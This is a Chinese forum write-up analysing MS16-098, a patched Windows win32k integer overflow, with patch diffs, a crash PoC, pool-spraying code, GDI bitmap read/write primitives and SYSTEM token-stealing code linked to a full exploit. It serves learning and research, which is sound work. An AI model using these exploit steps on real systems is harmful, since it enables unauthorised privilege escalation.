首页
论坛
课程
招聘
[原创]MS16-098 Windows内核池溢出漏洞分析及利用
2021-5-10 22:01 4320

[原创]MS16-098 Windows内核池溢出漏洞分析及利用

2021-5-10 22:01
4320

MS16-098

前言

前段时间找暑假实习时被问到内核池,显然我是不懂的,于是就找了一个洞来学习一下,如果哪里分析得有问题希望师傅们斧正。

分析环境

win10-1511-x64

漏洞简述

MS16-098是由整数溢出漏洞导致的池溢出 (pool overflow) 继而使用Abusing Bitmap技术获取到 system token 完成权限提升,其中池风水和使用 GDI objects 获得任意地址读写的技术是学习的重点。

漏洞分析

漏洞位于win32kfull!bfill函数中,通过对v19的精心构造可以造成0x30*v19溢出,从而导致申请一个很小的pool,而原本应该是一个很大的pool,显然这会造成池溢出,并且在该函数最后释放这个pool时触发BSOD。

 

修复前:

1
2
3
4
5
6
7
8
9
v19 = *((_DWORD *)a1 + 1);
if ( v19 > 0x14 )
{
  result = (__int64)PALLOCMEM2(0x30 * v19, 'gdeG', 0);
  v20 = (char *)result;
  if ( !result )
    return result;
  v33 = 1;
}

修复后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
  v19 = *((_DWORD *)a1 + 1);
  if ( v19 > 0x14 )
  {
    if ( UIntMult(0x30u, v19, &puResult) < 0 )
      return 0i64;
    v20 = (char *)PALLOCMEM2(puResult, 'gdeG', 0);
    v35 = v20;
    if ( !v20 )
      return 0i64;
    v33 = 1;
  }
 
HRESULT __stdcall UIntMult(UINT uMultiplicand, UINT uMultiplier, UINT *puResult)
{
  unsigned __int64 v3; // r9
  HRESULT result; // eax
 
  v3 = uMultiplier * (unsigned __int64)uMultiplicand;
  if ( v3 > 0xFFFFFFFF )
  {
    *puResult = -1;
    result = 0x80070216;
  }
  else
  {
    *puResult = v3;
    result = 0;
  }
  return result;
}

那么这个池溢出如何利用呢?我认为应该有以下思路

  • 到达漏洞函数

  • 构造内核池风水

  • 控制溢出的内容

  • 借助bitmap实现任意地址读写

  • steal system token

到达漏洞函数

这一步我觉得对我这种菜鸡来说是最难的、几乎无法独立实现的。我尝试在ida中通过交叉引用找到一个Nt开头的函数,我认为这是内核中系统调用的接口,是可以通过用户态api直接到达的,然后在每个调用点下断,不断尝试;并且通过一些参数函数的名字判断其功能;找之前类似模块的漏洞的poc。这需要极大的耐心和时间成本,而我是个 windows 萌新 ,所以我还是去找了网上很多现成的poc,毕竟这是个几年前的洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//Create a Point array
static POINT points[0x3fe01];
// Get Device context of desktop hwnd
HDC hdc = GetDC(NULL);
// Get a compatible Device Context to assign Bitmap to
HDC hMemDC = CreateCompatibleDC(hdc);
// Create Bitmap Object
HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
// Select the Bitmap into the Compatible DC
HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
//Begin path
BeginPath(hMemDC);
for (int i = 0; i < 0x156; i++) {
    PolylineTo(hMemDC, points, 0x3fe01); //(0x3fe01*0x156 + 1) * 0x30  = 0x1.0000.0050
}
// End the path
EndPath(hMemDC);
// Fill the path
FillPath(hMemDC);

以上是可以触发BSOD的代码,至于为什么是0x3fe010x156,我觉得只要能造成溢出应该没啥大问题。

漏洞利用

构造内核池风水

在构造池风水前我们需要知道的是:

  • 内核池每页大小为 0x1000 字节,比这个还要大的分配请求会被分配到更大的内核池

  • 任何请求大小超过 0x808 字节会被分配到内存页的起始处

  • 连续的请求会从页的末尾分配

  • 分配的对象通常会加上 0x10 字节大小的 pool header,比如请求 0x50 字节的内存,实际包含了 pool header 会分配 0x60 字节大小的内存。

还有一点很重要,上文poc造成崩溃的原因是BAD_POOL_HEADER,也就是bfill函数最后释放了我们溢出的内存,而在释放时会检查相邻对象的pool header,溢出导致了它被破坏了所以造成crash。如果这块溢出的内存被分配在内存页的末尾,也就不存在next chunk那么就不会因此造成崩溃。

 

上文提到整数溢出为0x50,也就是分配了0x60的内存,我们需要留足够的空间来存放它。

 

首先分配5000个大小为 0xf80 字节的 bitmap 对象,来创建新的内存页。

1
2
CreateBitmap(1670, 2, 1, 8, NULL);// allocation size 0xf80 = 0xd10(1670*2*8/8) + 0x258 + 0x10(pool header)
//这里的0x258不同的系统不一样,需要具体调试

继续分配两个accelerator对象,每个大小0x40,也就是0x80,正好填充新分配内存页的空缺。

1
2
3
4
5
6
7
8
9
10
for (INT i = 0; i < 7000; i++) {
        hAccel = CreateAcceleratorTableA(lpAccel, 1);
        hAccel2 = CreateAcceleratorTableW(lpAccel, 1);
        if (!hAccel || !hAccel2) {
            printf("[%d]Create Accel error:%X\n",i, GetLastError());
            exit(1);
        }
        pAccels[i] = hAccel;
        pAccels2[i] = hAccel2;
    }

接着释放之前分配的0xf80的bitmap对象,这样内存页的开始处就空出来 0xf80 字节的空间。

 

接下来需要填充前面空下来的0xf80字节的空间,网上的前辈是这样说的:

然后分配了 5000 个大小为 0xbc0 字节的对象,这个大小非常关键,因为如果 bitmap 对象直接被放到受到攻击的对象旁边的话,溢出不会覆盖到 bitmap 对象关键的成员变量(后面会详细讲)。此外,作者通过反复试验找到了 CreateEllipticRgn

1
2
3
for (int k = 0; k < 5000; k++) {
        CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0
    }

其实我觉得这个对象的大小只要对于我们溢出的内存对0x30取余为0x28就没问题(这个后面详细说),并且也没必要去找函数,直接用bitmap自定义大小不好吗。。。这只是我的猜测,没有去实际调试,因为我已经被蓝屏搞吐了。。。如果有什么问题,欢迎师傅们提出。

 

有了前面的0xbc0,末尾的0x80,那么还剩0x3c0,再分配5000个大小为0x3c0字节的bitmap对象填充每页内存页剩余的空间,也就是我们会去控制的bitmap。

1
2
3
4
for (int k = 0; k < 5000; k++) {
    bmp = CreateBitmap(0x54, 1, 1, 32, NULL); //size  = 3c0 = 0x150(0x54*1*32/8) + 0x258 + 0x10
    bitmaps[k] = bmp;
}

最后一步是把内存中所有0x60大小的先占满了,那么后面分配有溢出的对象时几乎肯定会落在我们的内存布局中,再释放末尾的0x80的accelerator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void AllocateClipBoard2(unsigned int size) {
    BYTE* buffer;
    buffer = (PBYTE)malloc(size);
    memset(buffer, 0x41, size);
    buffer[size - 1] = 0x00;
    const size_t len = size;
    HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
    memcpy(GlobalLock(hMem), buffer, len);
    GlobalUnlock(hMem);
    //OpenClipboard(0);
    //EmptyClipboard();
    SetClipboardData(CF_TEXT, hMem);
    //CloseClipboard();
    GlobalFree(hMem);
}
·
·
·
    // Allocate 17500 clipboard objects of size 0x60 to fill any free memory locations of size 0x60
    for (int k = 0; k < 1700; k++) { //1500
        AllocateClipBoard2(0x30);
    }
    // delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray.
    for (int k = 2000; k < 4000; k++) {
        DestroyAcceleratorTable(pAccels[k]);
        DestroyAcceleratorTable(pAccels2[k]);
    }

最后的内存布局:

1
2
3
|---------------------|---------------------|------------|
| 0xbc0(region alloc) | 0x3c0(bitmap alloc) | 0x80(free) |
|---------------------|---------------------|------------|

控制溢出的内容

在ida中对bfill进行分析,发现这块内存只在调用bConstructGET函数时被用到

 

接着在ida中对win32kbase!bConstructGET进行分析,结合动态调试发现:bConstructGET函数会遍历points数组相邻的两个点并通过AddEdgeToGET对目标内存赋值。然而这个函数有点复杂,想要控制溢出的内容并且不破坏pool header没那么简单。

1
2
3
4
5
6
7
while ( (unsigned __int64)first < v13 )
  {
    v11 = AddEdgeToGET((struct EDGE *)a2, dst, second, first, a4);
    second = first;
    dst = v11;
    ++first;
  }

 

在调用AddEdgeToGET时下断,查看池风水

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
0: kd> dc 0xfffff901711f2fb0-10
fffff901`711f2fa0  23060002 67646547 00000001 00000080  ...#Gedg........
fffff901`711f2fb0  00000000 00000000 00000000 00000000  ................
fffff901`711f2fc0  2d040004 63617355 32033abb e81ef166  ...-Usac.:.2f...
fffff901`711f2fd0  00000000 00000000 00000000 00000000  ................
fffff901`711f2fe0  00000000 00000000 00000001 00000080  ................
fffff901`711f2ff0  00000000 00000000 00000000 00000000  ................
fffff901`711f3000  23bc0000 34306847 3203257b e81ef166  ...#Gh04{%.2f...
fffff901`711f3010  0204173c 00000000 00000000 00000000  <...............
 
0: kd> dc fffff901`711f3000 + bc0
fffff901`711f3bc0  233c00bc 35306847 00000000 00000000  ..<#Gh05........
fffff901`711f3bd0  01051f10 00000000 00000000 00000000  ................
fffff901`711f3be0  00000000 00000000 00000000 00000000  ................
fffff901`711f3bf0  01051f10 00000000 00000000 00000000  ................
fffff901`711f3c00  00000000 00000000 00000054 00000001  ........T.......
fffff901`711f3c10  00000150 00000000 711f3e28 fffff901  P.......(>.q....
fffff901`711f3c20  711f3e28 fffff901 00000150 0000304c  (>.q....P...L0..
fffff901`711f3c30  00000006 00010000 00000000 00000000  ................
 
0: kd> dc fffff901`711f3000 + bc0 + 1000
fffff901`711f4bc0  233c00bc 35306847 00000000 00000000  ..<#Gh05........
fffff901`711f4bd0  01051f11 00000000 00000000 00000000  ................
fffff901`711f4be0  00000000 00000000 00000000 00000000  ................
fffff901`711f4bf0  01051f11 00000000 00000000 00000000  ................
fffff901`711f4c00  00000000 00000000 00000054 00000001  ........T.......
fffff901`711f4c10  00000150 00000000 711f4e28 fffff901  P.......(N.q....
fffff901`711f4c20  711f4e28 fffff901 00000150 0000304d  (N.q....P...M0..
fffff901`711f4c30  00000006 00010000 00000000 00000000  ................

查看points数组在内存中的分布,观察到AddEdgeToGET第四个参数是points[0],而第三个参数在一次循环中为0,并且我们给的xy都被左移了4位

1
2
3
4
5
6
7
8
9
0: kd> dd 0xfffff90140786040
fffff901`40786040  00000000 00000000 00000010 00000020
fffff901`40786050  00000000 00000000 00000000 00000000
fffff901`40786060  00000000 00000000 00000000 00000000
fffff901`40786070  00000000 00000000 00000000 00000000
fffff901`40786080  00000000 00000000 00000000 00000000
fffff901`40786090  00000000 00000000 00000000 00000000
fffff901`407860a0  00000000 00000000 00000000 00000000
fffff901`407860b0  00000000 00000000 00000000 00000000

为了到达我们想要控制的bitmap,需要绕过以下几个return,使得每次循环覆写的目标内存+=0x30

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
  if ( a5 )
  {
    v26 = a5->top;
    if ( biggerY < v26 )                        // 0
      return dst;
    v27 = a5->bottom;
    if ( firstY > v27 )                         // 0x1f0
      return dst;                               // good pass
    if ( firstY < v26 )
    {
      v6 = firstY;
      v14 = 1;
      firstY = a5->top;
    }
    if ( biggerY > v27 )
      biggerY = a5->bottom;
  }
  v15 = (firstY + 15) >> 4;
  v16 = ((biggerY + 15) >> 4) - v15;
  *((_DWORD *)dst + 4) = v15;
  *((_DWORD *)dst + 2) = v16;
  if ( v16 <= 0 )
    return dst;
·
·
·
  result = (struct EDGE *)((char *)dst + 0x30);
  *(_QWORD *)a1 = dst;
  return result;

我们的目标是覆写sizlBitmap,然后通过Get\SetBitmapBits覆写下一个Bitmap的pvscan0,使其作为一个Manager

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct {
  ULONG64 dhsurf; // 0x00
  ULONG64 hsurf; // 0x08
  ULONG64 dhpdev; // 0x10
  ULONG64 hdev; // 0x18
  SIZEL sizlBitmap; // 0x20
  ULONG64 cjBits; // 0x28
  ULONG64 pvBits; // 0x30
  ULONG64 pvScan0; // 0x38
  ULONG32 lDelta; // 0x40
  ULONG32 iUniq; // 0x44
  ULONG32 iBitmapFormat; // 0x48
  USHORT iType; // 0x4C
  USHORT fjBitmap; // 0x4E
} SURFOBJ64; // sizeof = 0x50
1
2
3
4
5
6
7
8
9
0: kd> dq fffff901`7127c000 + bc0 + 10 + 18
fffff901`7127cbe8  00000000`00000000 00000000`01051eb2
fffff901`7127cbf8  00000000`00000000 00000000`00000000
fffff901`7127cc08  00000001`00000054 00000000`00000150
fffff901`7127cc18  fffff901`7127ce28 fffff901`7127ce28
fffff901`7127cc28  00002555`00000150 00010000`00000006
fffff901`7127cc38  00000000`00000000 00000000`04800200
fffff901`7127cc48  00000000`00000000 00000000`00000000
fffff901`7127cc58  00000000`00000000 00000000`00000000
1
2
0: kd> ? fffff901`7127cc08 - 0xfffff9017127bfb0
Evaluate expression: 3160 = 00000000`00000c58

0xc58 = 0x30 * 41 + 0x28 !

 

之前的构造池风水就是为了我们刚好可以利用AddEdgeToGET开头的代码对目标内存的赋值来更改sizlBitmap

1
2
3
4
5
6
7
8
9
10
11
12
13
secondY = start->y;
v6 = 0;
firstY = pre->y;
v8 = secondY - firstY;
if ( secondY - firstY < 0 )
{
  v13 = pre->x;
  v8 = firstY - start->y;
  v11 = start->x;
  biggerY = firstY;
  *((_DWORD *)dst + 10) = -1;
  firstY = secondY;
}

对于bConstructGET这个函数,我的理解是,每调用一次PolylineTo都会根据所给points对目标内存从头到尾进行一次赋值。

 

结合对AddEdgeToGET函数的逆向,points如下构造,需要注意的是points前后都多了一个(0,0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static POINT points[0x3fe01];
for (int l = 0; l < 62; l++) {//slide to target
    points[l].y = (l + 1) % 0x1f;
    points[l+1].y = (l + 2) % 0x1f;
}
for (int i = 62; i < 0x3fe01; i++) {
    points[i].y = 0x777;
}
points[0x3fe00].y = 7;//0x777-----0x07-----0x00
for (int i = 0; i < 0x156; i++) {
    if (i == 1) {//调用一次PolylineTo即可达到目的
        for (int j = 0; j < 0x3fe01; j++) {
            points[j].y = 0x777;
        }
    }
    if (!PolylineTo(hMemDC, points, 0x3FE01)) { //(0x3fe01*0x156 + 1) * 0x30  = 0x1.0000.0050
        fprintf(stderr, "[!] PolylineTo() Failed: %x\r\n", GetLastError());
    }
}

接着我们成功让我们的exp从FillPath函数中 返回(无数次BSOD。。。),但是在程序退出的时候还是造成了crash,原因应该是之前对内存的赋值破坏了堆风水中一些对象的header导致在程序退出释放这些对象的时候触发异常。也就是说我们需要清理现场。

 

找到被我们覆盖了sizlBitmap,覆盖下一个bitmap的pvscan0实现任意地址写(详细的方法可以找一下abusing bitmap相关的文章,这里不再赘述)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for (int i = 0; i < 5000; i++) {
        recvByte = GetBitmapBits(bitmaps[i], 0x1000, recvBuf);
        if (recvByte > 0x150) {
            targetBitmapIndex = i;
            printf("I got you [%d]\n", targetBitmapIndex);
            break;
        }
    }
    ManagerHandle = bitmaps[targetBitmapIndex + 1];
    WorkHandle = bitmaps[targetBitmapIndex];
    ULONG64 leak = recvBuf[67] - 0x40;
    printf("[@]Leak:%p", leak);
    recvBuf[0xdf8 / 8] = leak - 0x3e0;
    SetBitmapBits(WorkHandle, 0x1000, recvBuf);

在尝试寻找被覆盖的bitmap时,再次蓝屏,但原因很清晰,在调用GetBitmapBits时访问了无效的地址

1
2
3
4
5
6
7
8
9
10
11
1: kd> .cxr 0xffffd001648dcdc0
rax=0000000100000000 rbx=ffffd001648dd8c8 rcx=ffffd001648dd8d0
rdx=ffffd001648dd8d0 rsi=fffff901711d6bd0 rdi=0000000100000000
rip=fffff9605edba8a3 rsp=ffffd001648dd7e8 rbp=ffffd001648dd920
 r8=fffff9605ece7b70  r9=0000000000000000 r10=7ffff90140010698
r11=7ffffffffffffffc r12=ffffd001648dda18 r13=00000190ffae0000
r14=0000000000000000 r15=0000000000001000
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
win32kbase!PDEVOBJ::bAllowShareAccess+0x3:
fffff960`5edba8a3 8b5038          mov     edx,dword ptr [rax+38h] ds:002b:00000001`00000038=????????

幸好这个地址是可以在用户态直接申请的,为了方便可以直接对00000001`00000000全赋值1,就可以进入一个看似正常的分支

1
2
3
4
5
6
7
8
9
10
11
12
13
void __fastcall NEEDGRELOCK::vLock(NEEDGRELOCK *this, struct PDEVOBJ *a2)
{
  __int64 v3; // rdi
 
  *(_QWORD *)this = 0i64;
  v3 = *(_QWORD *)a2;                           // v3 = 00000001`00000000
  if ( *(_QWORD *)a2 && !PDEVOBJ::bAllowShareAccess(a2) && (*(_DWORD *)(v3 + 0x38) & 0x8000) == 0 )
  {
    *(_QWORD *)this = ghsemGreLock;
    EngAcquireSemaphore((HSEMAPHORE)ghsemGreLock);
    EtwTraceGreLockAcquireSemaphoreExclusive(L"hsem", *(_QWORD *)this, 2i64);
  }
}

然后,他又蓝屏了!

1
2
3
4
5
6
7
8
9
10
11
12
1: kd> .trap 0xffffd0007ba1d2e0
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=fffff901711c9bd0 rbx=0000000000000000 rcx=0000000000000cf4
rdx=0000000000005cd6 rsi=0000000000000000 rdi=0000000000000000
rip=fffff96043e3f70b rsp=ffffd0007ba1d470 rbp=0000000000000001
 r8=0000000000000000  r9=0000000000000000 r10=ffffd0007ba1d480
r11=ffffd0007ba1d3d0 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
win32kbase!MultiUserGreCleanupHmgOwnRemoveAllLocks+0xab:
fffff960`43e3f70b 44897808        mov     dword ptr [rax+8],r15d ds:fffff901`711c9bd8=????????

之前被我们修改的bitmap的那页内存被取消了映射

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1: kd> dq fffff901711c9bc0
fffff901`711c9bc0  35306847`233c00bc 00000000`00000000
fffff901`711c9bd0  00000000`01051ef3 00000000`ffffffff
fffff901`711c9be0  00000000`00000000 00000000`00000000
fffff901`711c9bf0  00000000`01051ef3 00000000`00000000
fffff901`711c9c00  00000000`00000000 00000001`00000054
fffff901`711c9c10  00000000`00000150 fffff901`711c9e28
fffff901`711c9c20  fffff901`711c9c08 00002807`00000150
fffff901`711c9c30  00010000`00000006 00000000`00000000
1: kd> dq fffff901711cabc0
fffff901`711cabc0  35306847`233c00bc 00000000`00000000
fffff901`711cabd0  00000000`01051ef3 00000000`00000000
fffff901`711cabe0  00000000`00000000 00000000`00000000
fffff901`711cabf0  00000000`01051ef3 00000000`00000000
fffff901`711cac00  00000000`00000000 00000001`00000054
fffff901`711cac10  00000000`00000150 fffff901`711cae28
fffff901`711cac20  fffff901`711c9c20 00002989`00000150
fffff901`711cac30  00010000`00000006 00000000`00000000

观察这两个相邻的bitmap,hHmgr hsurf 在被覆盖时改成了相同的,我猜测原因在这。我们将它改回来,终于exp可以正常退出!

1
2
3
4
5
ULONG64 recv = 0;
BitmapRead((PULONG64)(leak + 0xbd0), &recv);
  recv -= 2;
  BitmapWrite((PULONG64)(leak - 0x1000 + 0xbd0), recv);
  BitmapWrite((PULONG64)(leak - 0x1000 + 0xbf0), recv);

steal system token

通过EnumDeviceDrivers拿到kernel基地址,加载ntoskrnl.exe模块拿到PsInitialSystemProcess的偏移,再用bitmap去读取其在内核中的值拿到system token。

 

最后遍历ActiveProcessLinks替换token

1
2
3
4
5
6
do {
        BitmapRead((PULONG64)(Eprocess + ActiveProcessLinks), &Eprocess);
        Eprocess -= ActiveProcessLinks;
        BitmapRead((PULONG64)(Eprocess + UniqueProcessIdOffset), &PID);
        BitmapRead((PULONG64)(Eprocess + TokenOffset), &CurrentToken);
    } while (PID != CurrentPID);

 

完整EXP:https://github.com/s1vona/CVEs/blob/main/ms16-098/ms16-098.cpp

参考链接

https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/

 

https://xz.aliyun.com/t/2919

 

https://security.tencent.com/index.php/blog/msg/117


第五届安全开发者峰会(SDC 2021)议题征集正式开启!

最后于 2021-5-11 18:29 被艾斯torepwn编辑 ,原因: 后面的内容没有显示出来
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回